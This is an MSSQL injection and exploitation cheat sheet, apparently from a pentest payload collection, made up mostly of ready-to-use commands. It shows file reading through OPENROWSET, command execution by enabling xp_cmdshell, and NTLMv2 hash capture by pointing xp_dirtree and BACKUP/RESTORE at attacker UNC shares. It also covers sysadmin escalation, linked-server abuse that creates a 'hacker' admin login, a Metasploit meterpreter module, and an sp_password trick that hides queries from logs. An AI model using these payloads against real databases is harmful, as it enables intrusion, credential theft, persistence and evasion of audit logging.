MSSQL Read file
Permissions: The BULK
option requires the ADMINISTER BULK OPERATIONS
or the ADMINISTER DATABASE BULK OPERATIONS
permission.
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
MSSQL Command execution
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
To interact with the MSSQL instance.

# Permissions: Requires VIEW SERVER STATE permission on the server.

MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree
function to list the files in our SMB share and grab the NTLMv2 hash.
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
MSSQL Make user DBA (DB admin)
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
MSSQL Trusted Links
The links between databases work even across forest trusts.
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] # Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Manual exploitation
-- find link
select * from master..sysservers
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
List permissions
Listing effective permissions of current user on the server.
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
Listing effective permissions of current user on the database.
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
Listing effective permissions of current user on a view.
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
Check if current user is a member of the specified server role.
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
MSSQL OPSEC
Use SP_PASSWORD
in a query to hide from the logs like : ' AND 1=1--sp_password
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
